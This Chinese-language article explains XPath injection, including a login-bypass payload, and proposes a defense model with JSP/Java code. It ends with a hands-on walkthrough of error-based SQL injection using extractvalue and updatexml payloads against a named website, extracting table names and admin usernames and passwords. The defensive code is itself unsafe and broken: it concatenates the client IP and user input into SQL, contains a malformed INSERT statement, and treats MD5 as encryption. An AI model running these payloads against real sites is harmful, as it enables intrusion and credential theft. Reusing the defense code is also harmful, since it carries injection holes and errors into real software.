1 Xpath注入攻击概述
1.1 Xpath定义
近年来在现代化电子商务,商场现代化系统中,XML技术被广泛 的使用,开始出现针对XML数据信息的XPath注入攻击技术。 注入攻击是指利用系统没有对其输入进行强制执行或检查的假设向计算机系统中引入(或 “注入”)代码的技术。注入代码的目的通常是绕过或修改程序的最初目标功能,如果被绕过的功能涉及系统安全,那么结果可能是灾难性的。在XML信息被大量 使用,其数据的安全性显得非常重要,但是目前很少有研究人员研究XPath的注入攻击防御技术。
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知 识的情况下,通过XPath查询得到一个XML文档的完整内容。
1.2 XPath注入攻击特点
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面具有优势。
(1) 广泛性。XPath注入攻击利用的是XPath语法,由于XPath是一种标准语言,因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞,所以可能在所有的XPath实现中都包含有该弱点,这和SQL注入攻击有 很大区别。在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。
(2) 危害性大。XPath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。但在SQL注入攻击中,一个“用户”的权限可能被限制到 某一特定的表、列或者查询,而XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击。
2 Xpath注入攻击原理
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。
在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,
例存在user.xml文件如下:
-
<users>
-
<user>
-
<firstname>Ben
</firstname>
-
-
<lastname>Elmore
</lastname>
-
-
<loginID>abc
</loginID>
-
-
<password>test123
</password>
-
-
</user>
-
-
<user>
-
-
<firstname>Shlomy
</firstname>
-
-
<lastname>Gantz
</lastname>
-
-
<loginID>xyz
</loginID>
-
-
<password>123test
</password>
-
-
</user>
则在XPath中其典型的查询语句如下:
//users/user[loginID/text()='xyz'and password/text()='123test']
但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test',则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码:
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。
3 XPath注入攻击防御技术
目前专门的XPath攻击防御技术还不是太多,但是SQL注入攻击防御技术可以加以改进,应用到XPath注入攻击防御。具体技术总结如下:
(1)数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
(2)检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
(3)对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
(4)参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查询参数化:
declare variable $loginID as xs:string external;
declare variable $password as xs:string external;
//users/user[@loginID=$loginID and@password= $password]
(5)通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。
4 XPath攻击防御模型
4.1 XPath攻击防御模型
通过对XPath注入攻击技术的特点研究其原因,和前人提出的 Xpath注入攻击检测与防御技术的基础上,作者建立一个优化的XPath攻击防御模型。如图1所示,其思想就是所有的验证都在服务器端验证,因为客户端 验证可以通过脚本禁用等方法而绕过。当服务器接收到客户端提交过来的数据时,首先检测其客户端的IP是否在注入攻击数据库中,如果是则直接输出出错信息, 如果不是则验证是否包含非法字符,如果用户是首次提交非法信息,则输出出错信息,如果用户是第二次提交,则输出出错信息并将该客户端的IP记入注入攻击数 据库中,在两天之内禁止该用户访问,如果信息合法,则将用户信息提交给参数变量,执行安全的查询,输出结果。对于记入攻击数据库中的IP信息,两天后系统 自动删除,这样可以防止是因为用户误操作而造成合法用户无法访问,和某些用户恶意的多次入侵的企图。
通过本模型的验证,系统可以自动进行入侵防御,减少人为的进行检测,节省大量的人力,系统核心代码如下:
-
……………………………………
-
-
//检测客户端IP是否在XPath注入攻击数据库中,如果是则禁止访问
-
-
Stringaddress=request.getRemoteAddr().toString();
-
-
StringsqlString=
"select * from ipinjection whereip='"+address+
"'";
-
-
Class.forName(
"sun.jdbc.odbc.JdbcOdbcDriver");
-
-
Connectioncn=DriverManager.getConnection(
"jdbc:odbc:test",
"sa",
"ip");
-
-
Statementstmt=cn.createStatement();
-
-
ResultSetrs=stmt.executeQuery(sqlString);
-
-
if(rs.next()){
-
-
out.println(
"非法用户,禁止进入本系统!");
-
-
out.close();
-
-
}
else{
-
-
//如果IP不在攻击数据库中,IP地址合法,则进行提交信息合法性验证。
-
-
if(……………..){
-
-
//提交信息合法,则通过参数化变量的形式,进行查询,防止进行恶决查询
-
-
Document doc = new Builder().build(
"users.xml");
-
-
XQuery xquery = new XQueryFactory().createXQuery(new File(
"
-
-
dologin.xq"));
-
-
Map vars = new HashMap();
-
-
vars.put(
"loginid",username);
-
-
vars.put(
"password",password);
-
-
Nodes results = xquery.execute(doc,null,vars).toNodes();
-
-
for (
int i=
0; i < results.size(); i++) {
-
-
System.out.println(results.get(i).toXML());
-
-
} }
else{
-
-
//如果提交信息非法,并且客户端是首次提交,则直接输出出错信息。
-
-
int count=Integer.parseInt(session.getAttribute(
"count").toString());
-
-
if(count==
0){
-
-
out.println(
"您进行了非法操作,本系统将记录您的信息,如再次进行非法操作,本系统将锁定您的IP");
-
-
session.setAttribute(
"count",new Integer(count+
1));
-
-
out.close();
-
-
}
-
-
else{
-
-
//如果提交信息非法,并且客户端是第二次提交,则直接输出出错信息。并将客户端IP记入攻击数据库中,禁止该用户再次进入系统。记入的数据两天后系统自动删除,以防止某此用户是误操作,造成无法访问系统的情况
-
-
out.println(
"非法用户,本系统将禁止您进入!");
-
-
sqlstring=
"inser into ipinjection(ip,host,attacktime,username,password,)
-
-
values('"+address+
"','"+host+
"','"+new Date()+
"','"+username+
"','"+password+
"')";
-
-
stmt.executeUpdate(sqlstring);
-
-
out.close();
-
-
} } }}
4.2 使用方法与实际效果
将所有的代码放入一个xpathinjection.jsp文件中,将该文件包含在需要验证信息的文件中,对于需要验证其它信息的,只需要将该代码进行简 单修改,将其封装就可以验证其它的信息。通过实际测试,当入侵者在网页提交一些非法字符达到指定两次后,系统会自动屏蔽掉该IP 地址对网站的访问,并将攻击IP 地址、攻击时间、攻击者信息写入到数据库中,具有很好的防注入攻击效果。
实战
目标站点:http://91ri.org/ newsdetail.php?id=51
(1)查看正文
代码:
+and+extractvalue(rand(),concat(0x7e,version()))--
这会返回一个XPATH语法错误,会爆出版本号
结果如图:
(2)得到表名
代码:
+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--
结果显示:
XPATH syntax error:’~pdigclicks’我们的表名就是pdigclicks
为了得到admin表或者users表,我们需要不断增加LIMIT函数的第一个参数来猜测。
代码:
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+2,1)))--
这个时候得到XPATH syntax error:’~tbladmin’看来我们想要的表名就是tbladmin
(3)得到表的列
第一步,我们要把我们得到的表名转化成字符串的。
‘a’转换成十六进制就是0x61。tbladmin的十六进制表达就是0x74626c61646d696e
现在为了得到列,我们需要改变一点点语法,但是实际上还是那个思想。(因为XPATH其实跟SQL注入很像)
代码:
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
当然,需要把上面代码的TABLE_HEX替换成你找到的表名。
我的浏览器链接看起来是这样的:
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--
返回结果
:XPATH syntax error:’~adminid’
现在,为了得到我们知道我们想要的列名,我们需要不断增加LIMIT函数的参数
(4)得到列的值
现在既然已经得到列的名字,我们将要把它放到concat语句中去
代码:
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
我想要的列名是username和password,0x7e表示的是“~”符号,我用这个“~当作分隔符
我浏览器的链接是这样的:
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
就像你看到的,我们得到了一个用户名和密码
(5)得到版本
+and+updatexml(0x7e,concat(0x7e,(version())),0)--
(6)得到表名
+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)
(7)得到列名
+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--
(8)得到列数据
and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7e,password)+from+tbladmin+limit+0,1))),0)
5 结束语
本文阐述了XPath注入攻击的概念,分析了XPath注入攻击的原理及其相关防御技术,根据防御技术特点,提出了一个自动防御模型,给出了相应的实现,取得了很好的实际效果。